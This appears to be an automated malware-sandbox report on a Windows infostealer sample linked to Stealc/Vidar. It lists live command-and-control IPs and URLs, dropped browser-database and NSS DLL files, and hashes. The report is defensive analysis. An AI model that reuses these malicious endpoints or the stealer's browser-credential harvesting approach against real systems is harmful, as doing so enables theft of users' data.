http://foo/View/MainWindow.xamld	DBFHCGCGDA.exe, 00000009.00000002.1978219901.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://62.204.41.163/2c3d53f1da5ea53a/nss3.dll7(	qlI3ReINCV.exe, 00000000.00000002.1968390990.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	JDGCFBAF.0.dr	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021902000.00000004.00000020.00020000.00000000.sdmp, BFBFBFIIJDAKECAKKJEH.0.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	qlI3ReINCV.exe, 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmp, qlI3ReINCV.exe, 00000000.00000003.1864093047.0000000021784000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	JDGCFBAF.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FBFHJJJDAFBKEBGDGHCGDBKJEC.0.dr	false		high
http://62.204.41.163/2c3d53f1da5ea53a/nss3.dll2	qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://foo/bar/view/mainwindow.bamld	DBFHCGCGDA.exe, 00000009.00000002.1978219901.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://plus.google.com	chromecache_81.3.dr	false		high
http://62.204.41.163/j	qlI3ReINCV.exe, 00000000.00000002.1968390990.0000000001291000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	JDGCFBAF.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	qlI3ReINCV.exe, 00000000.00000002.1968390990.00000000012AC000.00000004.00000020.00020000.00000000.sdmp, qlI3ReINCV.exe, 00000000.00000002.1985801776.0000000021902000.00000004.00000020.00020000.00000000.sdmp, BFBFBFIIJDAKECAKKJEH.0.dr	false		high
https://api.ipify.orgSSOFTWARE	DBFHCGCGDA.exe, 00000009.00000000.1963631785.0000000000A32000.00000002.00000001.01000000.0000000B.sdmp, DBFHCGCGDA.exe.0.dr, LedgerUpdater[1].exe.0.dr	false		high
https://support.mozilla.org	FBFHJJJDAFBKEBGDGHCGDBKJEC.0.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	JDGCFBAF.0.dr	false		high
http://62.204.41.163/16fa04073490929d.php14	qlI3ReINCV.exe, 00000000.00000002.1985801776.000000002194F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://clients6.google.com	chromecache_81.3.dr	false		high
http://foo/bar/view/mainwindow.baml	DBFHCGCGDA.exe, 00000009.00000002.1978219901.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
216.58.212.142	plus.l.google.com	United States	15169	GOOGLEUS	false
2.2.2.2	unknown	France	3215	FranceTelecom-OrangeFR	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
176.113.115.215	unknown	Russian Federation	49505	SELECTELRU	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
142.250.186.142	play.google.com	United States	15169	GOOGLEUS	false
62.204.41.163	unknown	United Kingdom	30798	TNNET-ASTNNetOyMainnetworkFI	true

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559091
Start date and time:	2024-11-20 07:47:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	qlI3ReINCV.exe renamed because original name is a hash value
Original Sample Name:	40163eae38af01040691454b24b06e2f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@27/41@6/9
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 98% Number of executed functions: 116 Number of non-executed functions: 47
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.35, 173.194.76.84, 142.250.181.238, 34.104.35.123, 142.250.186.163, 172.217.16.138, 142.250.186.106, 142.250.184.202, 142.250.185.170, 142.250.185.106, 142.250.185.74, 172.217.18.10, 172.217.18.106, 142.250.185.234, 142.250.181.234, 216.58.206.42, 142.250.186.42, 172.217.16.202, 142.250.186.170, 142.250.184.234, 142.250.185.202, 199.232.210.172, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target DBFHCGCGDA.exe, PID 8180 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: qlI3ReINCV.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
2.2.2.2	xQ9Dzc7cj9.exe	Get hash	malicious	Stealc, Vidar	Browse
	UTsIm2Lewa.exe	Get hash	malicious	Stealc, Vidar	Browse
	HLTXqY2TH1.exe	Get hash	malicious	Stealc, Vidar	Browse
	XDU9StMBvI.exe	Get hash	malicious	Stealc, Vidar	Browse
	DbMBWMxoNv.exe	Get hash	malicious	Stealc, Vidar	Browse
	LxZNXgA6Ru.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	Gyvqxhxu5e.exe	Get hash	malicious	Unknown	Browse
	Gyvqxhxu5e.exe	Get hash	malicious	Unknown	Browse
	hlyG1m5UmO.exe	Get hash	malicious	Stealc, Vidar	Browse
239.255.255.250	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	https://docs.google.com/drawings/d/14vwfD0EyLvfyX8ls6jwkhRJmCoYW07SUFnqprqeXkTI/preview	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	https://cdn-defac21.artcollective-snapclick.com/api/reg/update.json	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	https://atpscan.global.hornetsecurity.com/?d=zgarMAzqF8gJdiyz7BRUZX8-Kt1RoHrhrMmKtaU9kW8&f=VhLn9tqiibnSyqWDnEopjApZtye8WgAc5bwx7BMFWiKwqjA1EcPjZyfvoQy11klP&i=&k=QQhP&m=0jL9ajZ_jxYnMJb2yb4luNRYQCXy24RTS6RPwUyZoAcuBVX0kzGA69aOJSo0d2htwIsi238bOVH3h3HqrhJGfzTuFk7GTjJWYsgIrocXphf5x2p4nZ7S2EABjAck31fG&n=TU5FjsulXTMv8aeSlx257utLr9bUpfdm0dDB4GNEHfOuhOvtIOr62mZHw3PXGZeG&r=qntyoaxGftDLRu_wopiK2t_EdeZaeg9mP15ZZI-qDen_3s7cQ10pAlhKQQnYAIUX&s=c4a8f5ec353e41b8b414bdcf47b33dd5d6b52b0394e0e4a09cc54527f49761c3&u=https%3A%2F%2Fthe1oomisagency.com%2Fthyu%2F	Get hash	malicious	Unknown	Browse
176.113.115.215	xQ9Dzc7cj9.exe	Get hash	malicious	Stealc, Vidar	Browse	176.113.115.215/LedgerUpdater.exe
	UTsIm2Lewa.exe	Get hash	malicious	Stealc, Vidar	Browse	176.113.115.215/LedgerUpdater.exe
	HLTXqY2TH1.exe	Get hash	malicious	Stealc, Vidar	Browse	176.113.115.215/LedgerUpdater.exe
	XDU9StMBvI.exe	Get hash	malicious	Stealc, Vidar	Browse	176.113.115.215/LedgerUpdater.exe
	DbMBWMxoNv.exe	Get hash	malicious	Stealc, Vidar	Browse	176.113.115.215/LedgerUpdater.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FranceTelecom-OrangeFR	arm7.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	83.200.242.8
	owari.arm7.elf	Get hash	malicious	Mirai	Browse	92.157.210.170
	owari.sh4.elf	Get hash	malicious	Unknown	Browse	90.81.242.23
	owari.ppc.elf	Get hash	malicious	Unknown	Browse	86.213.96.10
	mips.elf	Get hash	malicious	Mirai	Browse	81.55.45.33
	NfFibKKmiz.exe	Get hash	malicious	Unknown	Browse	92.141.125.48
	windows_update.dll	Get hash	malicious	Unknown	Browse	90.90.10.10
	windows_update.dll	Get hash	malicious	Unknown	Browse	90.90.10.10
	botx.spc.elf	Get hash	malicious	Mirai	Browse	86.239.230.172
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	86.196.203.135
SELECTELRU	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	176.113.115.203
	XOr3Kqyo9n.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
	0r9PL33C8E.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
	Pw2KHOL9Z8.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
	Tg3sk2wywR.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
	x8AH98H0eQ.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
	x8AH98H0eQ.exe	Get hash	malicious	Unknown	Browse	176.113.115.37
	zGHItMC5Zc.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
	ozcAR7VO6Y.exe	Get hash	malicious	Stealc	Browse	176.113.115.37
	xQ9Dzc7cj9.exe	Get hash	malicious	Stealc, Vidar	Browse	176.113.115.215

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://docs.google.com/drawings/d/14vwfD0EyLvfyX8ls6jwkhRJmCoYW07SUFnqprqeXkTI/preview	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://cdn-defac21.artcollective-snapclick.com/api/reg/update.json	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://atpscan.global.hornetsecurity.com/?d=zgarMAzqF8gJdiyz7BRUZX8-Kt1RoHrhrMmKtaU9kW8&f=VhLn9tqiibnSyqWDnEopjApZtye8WgAc5bwx7BMFWiKwqjA1EcPjZyfvoQy11klP&i=&k=QQhP&m=0jL9ajZ_jxYnMJb2yb4luNRYQCXy24RTS6RPwUyZoAcuBVX0kzGA69aOJSo0d2htwIsi238bOVH3h3HqrhJGfzTuFk7GTjJWYsgIrocXphf5x2p4nZ7S2EABjAck31fG&n=TU5FjsulXTMv8aeSlx257utLr9bUpfdm0dDB4GNEHfOuhOvtIOr62mZHw3PXGZeG&r=qntyoaxGftDLRu_wopiK2t_EdeZaeg9mP15ZZI-qDen_3s7cQ10pAlhKQQnYAIUX&s=c4a8f5ec353e41b8b414bdcf47b33dd5d6b52b0394e0e4a09cc54527f49761c3&u=https%3A%2F%2Fthe1oomisagency.com%2Fthyu%2F	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	Employee-SSN.html	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	http://google.com	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKEGDAK

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFBFBFIIJDAKECAKKJEH

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FBFHJJJDAFBKEBGDGHCGDBKJEC

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIDAKFIJJKJJJKEBKJEH

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGCFBAF

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGIIDHJEBGIDHJJDBKEHCAAAF

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKFBAAFCGIEGDHIEBFII

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\qlI3ReINCV.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
